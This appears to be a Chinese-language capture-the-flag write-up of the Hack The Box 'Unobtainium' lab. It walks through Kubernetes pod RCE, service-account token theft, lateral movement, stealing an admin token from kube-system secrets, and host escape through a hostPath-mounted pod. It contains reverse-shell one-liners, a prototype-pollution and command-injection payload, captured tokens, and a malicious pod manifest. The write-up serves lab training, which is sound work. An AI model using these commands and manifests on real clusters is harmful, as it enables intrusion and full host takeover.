k8s的渗透

云安全

前言

现在遇到很多的业务场景,都是k8s的云环境。当我们前期打点,获取到了RCE,RCE了发现是一个pod,下一步如何去渗透?如何逃逸出pod到真实的宿主机中?如何进入到真实的企业内网环境?

下面是hackthebox的Unobtainium靶场,已经是RCE了pod。

执行下面的命令,获取稳定的shell。

1
2
3
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
export SHELL=bash

image-20260608212010843

信息收集

第一步肯定是信息收集,先确定是k8s,然后再看pod有无token,token能干啥?

确定k8s环境

执行env,可以看到确定是k8s的环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=webapp-deployment-9546bc7cb-b7k2g
WEBAPP_DEPLOYMENT_PORT_3000_TCP_PROTO=tcp
YARN_VERSION=1.22.19
canDelete=true
PWD=/usr/src/app
WEBAPP_DEPLOYMENT_PORT=tcp://10.43.177.186:3000
WEBAPP_DEPLOYMENT_SERVICE_PORT=3000
WEBAPP_DEPLOYMENT_SERVICE_HOST=10.43.177.186
HOME=/root
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
WEBAPP_DEPLOYMENT_PORT_3000_TCP_ADDR=10.43.177.186
WEBAPP_DEPLOYMENT_PORT_3000_TCP=tcp://10.43.177.186:3000
SHLVL=3
KUBERNETES_PORT_443_TCP_PROTO=tcp
canUpload=true
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
LC_CTYPE=C.UTF-8
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=14.20.0
WEBAPP_DEPLOYMENT_PORT_3000_TCP_PORT=3000
_=/usr/bin/env

是否为特权容器

非特权容器,特权容器为:0000003fffffffff

image-20260608213322677

查看具有哪些capability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@webapp-deployment-9546bc7cb-b7k2g:~# capsh --decode=00000000a80425fb
capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
root@webapp-deployment-9546bc7cb-b7k2g:~# capsh --print
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=

是否有token

Service Account token的地址在文件夹/run/secrets/kubernetes.io/serviceaccount下。

获取token。

1
2
3
ls -al /run/secrets/kubernetes.io/serviceaccount
cat /run/secrets/kubernetes.io/serviceaccount/token
cat /run/secrets/kubernetes.io/serviceaccount/ca.crt

image-20260609202610542

获取token

1
echo "eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODEyNTQzMTczLCJpYXQiOjE3ODEwMDcxNzMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItempubmgiLCJ1aWQiOiJhOGRlM2Y5Ni03OWMxLTQ5OGQtOWZjZS00NmIyNzE3YjkwNjcifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNzgxMDEwNzgwfSwibmJmIjoxNzgxMDA3MTczLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.mJN2SBr-KrszC-AWL8ed21IjngPgRC79kk_MoRKmd3axOqIPftMZ2NTF9Di7N3lTWyZr46yZ5xlOJl_JNMsmqqZslP87X5VDghWvasTp7QwSYu3Q1RXawpFDp8iiFJUUzDGr30JMvBAMfaChYogAxcRx8_kxgU-JOAKVl4GBCHkbvmiFaggvmsLt31tO2chY9yWhrrXZue39VWH9WHb8aA-G_hWPCCCeabWe9iKRpZdANtQw1ply1RK4XDGIv95xiXpLscvrgy9nGL_spqUjYdzCxi2e5Gy-9ZGIAUoeNMgAnqH1py_ey90lpFjYMPjdx7jWiXRATYMbID89J0-JwQ" > token

获取ca.crt证书

1
2
3
4
5
6
7
8
9
10
11
cat /run/secrets/kubernetes.io/serviceaccount/ca.crt
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----

下面利用token去看有哪些权限。

利用default中pod的token和ca.crt

利用Service Account Token 直接调用 Kubernetes API Server,列出 kube-system 命名空间下的 Secrets。

1
curl -H "Authorization: Bearer $(cat token)" https://unobtainium.htb:8443/api/v1/namespaces/kube-system/secrets/ -k | jq

发现无法查看kube-system命名空间下的secrets,无权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ curl -H "Authorization: Bearer $(cat token)" https://unobtainium.htb:8443/api/v1/namespaces/kube-system/secrets/ -k | jq

{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "secrets is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"secrets\" in API group \"\" in the namespace \"kube-system\"",
"reason": "Forbidden",
"details": {
"kind": "secrets"
},
"code": 403
}

切换到使用kubectl,列举有哪些权限。我们将使用kubectl的auth can-i特性,它可以显示我们是否有某些权限与否。关于auth的更多信息可以在这里找到

我们还想知道是否可以在任何名称空间中创建pod,以便使用auth can-i查看是否可以,我们有权限创建pod的任何名称空间。我们需要确保我们是使用IP作为服务器,因为ca.crt将只查找已经签名了的域。

执行下面的命令,查看权限:

1
2
❯ kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i create pods --all-namespaces
no

返回no,表明无创建pod的权限。

auth can-i还可以检查所有kubernetes API资源。我们运行kubectl auth can-i --list查看我们可以做什么,从而列出所有API资源并告知我们所有内容。

1
kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list

image-20260608223150311

这为我们提供了大量的信息,根据列表可以getlist这个namespaces。我们可以检查一下除了default命名空间之外,还有其他什么名称空间。

1
kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get namespaces

image-20260608223521841

注意到了还有其它的namespace,有kube-system、kube-public、kube-node-lease、dev

发现dev命名空间

有一个dev的命名空间,看起来像是什么环境,list看一下有什么权限。

1
kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list -n dev

image-20260609220231980

发现对于pod这个Resources可以getlist操作。那么直接list查看dev命名空间的中的全部pod

执行如下命令,-n 选项来指定命名空间。

1
kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get pods -n dev

image-20260609220713697

注意到dev命名空间中有3个pod,想要进一步攻击,需要进行横向移动。default中的pod无法利用,那么就转移到利用dev中的pod,查看能否获取一个更关键的信息,亦或是提权到宿主机中。

查看dev中的pod的信息描述(describe)

1
kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 describe pod devnode-deployment-776dbcf7d6-7gjgf -n dev

image-20260609223725605

describe中定位它的IP,IP地址为10.42.0.62。从RCE的pod去请求dev下的pod,发现是通的。

1
ping -c 2 10.42.0.62

image-20260609224920411

横向移动

发现RCE的pod,即defaultpod,通devpod后,想办法横向移动过去,获取更多的信息。因此为了继续操作,我们需要获得对dev pod 的访问权限。

我们假设 dev 命名空间运行的是与default命名空间相同的程序。接下来,枚举dev中的pod的ip地址,查看要攻击哪个pod。然后,通过defaultpod 访问devpod,因为我的电脑是无法直接访问容器的 IP 地址的。

已经确定了dev的一个pod的IP为:10.42.0.62,同样尝试RCE。

RCE需要做一个反弹shell,发现defaultpod中没有nc,没办法接收shell,直接上传一个busybox,利用里面的nc

image-20260609232307217

我现在确定一下环境。我接收反弹shell的pod的IP地址为:10.42.0.65,这就是defaultpod 。我就叫它default_pod_A

image-20260609232839166

然后我又利用defaultpod的RCE,获取到了一个终端,他的IP为:10.42.0.66,这个还是defaultpod 。我就叫它default_pod_B

image-20260609232953297

default_pod_A负责接收反弹的shell。default_pod_B负责发起请求到10.42.0.62,这个dev下的pod,然后RCE。

反弹shell的命令,进行base64后如下:

1
2
bash -i >& /dev/tcp/10.42.0.65/4444 0>&1
=> YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjY1LzQ0NDQgMD4mMQo=

default_pod_A执行:

1
./busybox nc -lvnp 4444

然后default_pod_B发起请求:

1
2
3
curl --request PUT http://10.42.0.62:3000 -H 'content-type: application/json' -d '{"auth": {"name": "felamos","password": "Winter2021"}, "message": { "text": "test","__proto__": {"canUpload": true}}}'

curl --request POST http://10.42.0.62:3000/upload -H 'content-type: application/json' -d '{"auth": {"name":"felamos","password": "Winter2021"}, "filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjY1LzQ0NDQgMD4mMQo=|base64 -d|bash"}'

image-20260609233600559

这就获取到了新的shell,这个shell是dev下的pod的!

image-20260609234124298

获取dev的pod的shell

我们现在已经获取到了dev下的pod的权限,那么就有了新的tokenca.crt可以用,查看有哪些权限。

依然是前面的一套流程:

获取稳定shell

1
2
3
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
export SHELL=bash

获取信息

1
2
3
ls -al /run/secrets/kubernetes.io/serviceaccount
cat /run/secrets/kubernetes.io/serviceaccount/token
cat /run/secrets/kubernetes.io/serviceaccount/ca.crt

如下:

token

1
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODEyNTU0ODQzLCJpYXQiOjE3ODEwMTg4NDMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LTdnamdmIiwidWlkIjoiMjVhNjdmMTUtYTc5NC00NjMyLTkwYmEtY2RkMGVlMmU2ZGNlIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTc4MTAyMjQ1MH0sIm5iZiI6MTc4MTAxODg0Mywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.okkJ-ywMkk1De4ItXhwl7pB8Kivl4IEIOvGfpzoX8JlwonG-M9AMgP9FXGbYn73tfKR_N02XuG2wMpCSoPrHG_Os3QyusLJxwkTcCXLlOdqx8whcoANSiFzCm3KcPVK8t-EF0QUFvnd80aM4hVo9IcdSbOYXT-jGnOmzJzPuSiYfrbfKibUrlhG0XuO8LcmIPGpTW9lIyBFE8NVtdxJYLkfQ7XSKI02vy092VsfqHZH5PS8Qno-lrqkk2jsbmbTzZFHJ6OG4K1MtldfEY-frNq38L0vIPyOV5krrfQRCoaLAx6j8R-_ADOmccmTa8KvAHhjE4izAkb_liiKAIhq4zw

ca.crt

1
2
3
4
5
6
7
8
9
-----BEGIN CERTIFICATE-----                                                                                 MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----

利用dev中pod的token和ca.crt

利用devpodtokenca.crt查看有哪些权限。

保存token为token_dev,ca.crt为ca_dev.crt方便区分。

1
echo "eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODEyNTU0ODQzLCJpYXQiOjE3ODEwMTg4NDMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LTdnamdmIiwidWlkIjoiMjVhNjdmMTUtYTc5NC00NjMyLTkwYmEtY2RkMGVlMmU2ZGNlIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTc4MTAyMjQ1MH0sIm5iZiI6MTc4MTAxODg0Mywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.okkJ-ywMkk1De4ItXhwl7pB8Kivl4IEIOvGfpzoX8JlwonG-M9AMgP9FXGbYn73tfKR_N02XuG2wMpCSoPrHG_Os3QyusLJxwkTcCXLlOdqx8whcoANSiFzCm3KcPVK8t-EF0QUFvnd80aM4hVo9IcdSbOYXT-jGnOmzJzPuSiYfrbfKibUrlhG0XuO8LcmIPGpTW9lIyBFE8NVtdxJYLkfQ7XSKI02vy092VsfqHZH5PS8Qno-lrqkk2jsbmbTzZFHJ6OG4K1MtldfEY-frNq38L0vIPyOV5krrfQRCoaLAx6j8R-_ADOmccmTa8KvAHhjE4izAkb_liiKAIhq4zw" > token_dev

然后就是查看权限。

1
kubectl --token=$(cat token_dev) --certificate-authority=ca_dev.crt --server=https://10.129.136.226:8443 auth can-i --list

发现没什么有用的权限。

image-20260610123715769

然后查看kube-system命名空间,有什么权限。

1
kubectl --token=$(cat token_dev) --certificate-authority=ca_dev.crt --server=https://10.129.136.226:8443 auth can-i --list -n kube-system

image-20260610124025866

发现了有getlist的权限,这非常关键。

这里说一下两条命令的区别。

  • -n kube-system:查的是 “这个身份在 kube-system 这个命名空间里能做什么”
  • 不带 -n:查的是 “这个身份在当前默认命名空间(通常是 default)里能做什么”

Service accountdev:default,这个身份能getlist这个kube-system命名空间的secrets,这个Resources。

Kubernetes secrets是一种 API Resources,用于在 Pod 上挂载服务账户(Service account,SA)令牌和授权证书。在我们的场景中,每个 Pod 都拥有它,因此如果我们能够管理和获取集群管理员secret,则可以对整个集群的所有命名空间获得完全的管理员权限。

执行下面的命令:

1
curl -H "Authorization: Bearer $(cat token_dev)" https://unobtainium.htb:8443/api/v1/namespaces/kube-system/secrets/ -k

image-20260610143848886

返回了很多podtokenca.crt

获取admin的token和ca.crt

注意到了其中有一个admin相关的tokenca.crt

image-20260610144053178

tokenca.crt是做了base64编码的,进行解密。

token,为了方便区分,将其命名为token_admin

1
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA

ca.crt,为了方便区分,将其命名为ca_admin.crt

1
2
3
4
5
6
7
8
9
10
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----

执行命令

1
echo "eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA" > token_admin

查看有什么权限。

1
kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 auth can-i --list

image-20260610145940752

第一个条*.*,代表我们可以访问所有API资源,Verbs的[*]表示拥有所有Verbs权限,因此我们可以做集群上的任何东西。

当前的环境还是pod,pod还是在容器的环境中,需要获取到宿主机的权限才行,这时候就需要容器逃逸。

最常见的容器逃逸方法,创建一个特权域的pod,然后挂载宿主机的根目录/,然后使用chroot,就可以获取完整的宿主机权限了。

现在的token的权限很大,为[*],具备创建pod的能力,前置条件已经具备了。

容器逃逸

现在已经有了创建pod的能力,下面就是容器逃逸。

我们知道机器上没有互联网连接,所以我们不能使用任何docker映像。一种简单的方法是查看现有部署pod使用的镜像,利用这个镜像,去创建一个新的pod。知道了使用的镜像,然后生成一个yaml文件,在其中执行反弹shell的命令。

查看现有已经部署的pod

1
kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 get pods

image-20260610152320155

查看这个pod创建时候的yaml文件。

1
kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 get pod webapp-deployment-9546bc7cb-6r7sq -o yaml

image-20260610152535544

这个pod使用的镜像为localhost:5000/node_server,再多看几个pod

执行命令:

1
kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 get pods -n kube-system

image-20260610152739933

注意到了一个有意思的,叫backup-pod的pod,查看一下它的yaml文件。

1
kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 get pod backup-pod -o yaml -n kube-system

image-20260610153202327

使用的镜像为alpine:latest,这个镜像我们熟悉,以此我们可以创建一个yaml文件,用于部署一个恶意的pod。

创建yaml文件

test.yaml文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: localhost:5000/dev-alpine
imagePullPolicy: Never
command: ["/bin/sh"]
args: ["-c", "nc 10.10.16.35 4444 -e /bin/sh"]
volumeMounts:
- name: mount-root-into-mnt
mountPath: /root
volumes:
- name: mount-root-into-mnt
hostPath:
path: /

反弹shell的同时,再将宿主机的/root挂载进pod中,方便后续提权。

创建pod,执行一下命令:

1
kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 apply -f test.yaml

image-20260610155130571

显示创建成功了,查看一下pod。

image-20260610155605627

我们的反弹shell也成了。

image-20260610155723688

这里是成功逃逸到宿主机了。

image-20260610155936771

为什么直接就逃逸到宿主机了?

在yaml文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
spec:
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: localhost:5000/dev-alpine
imagePullPolicy: Never
command: ["/bin/sh"]
args: ["-c", "nc 10.10.16.35 4444 -e /bin/sh"]
volumeMounts:
- name: mount-root-into-mnt
mountPath: /root
volumes:
- name: mount-root-into-mnt
hostPath:
path: /

直接将宿主机的/根目录挂载到容器的/root目录下。在容器中进入到/root目录中,就相当于直接访问了宿主机的/目录,实现了容器的逃逸,获取了宿主机的权限。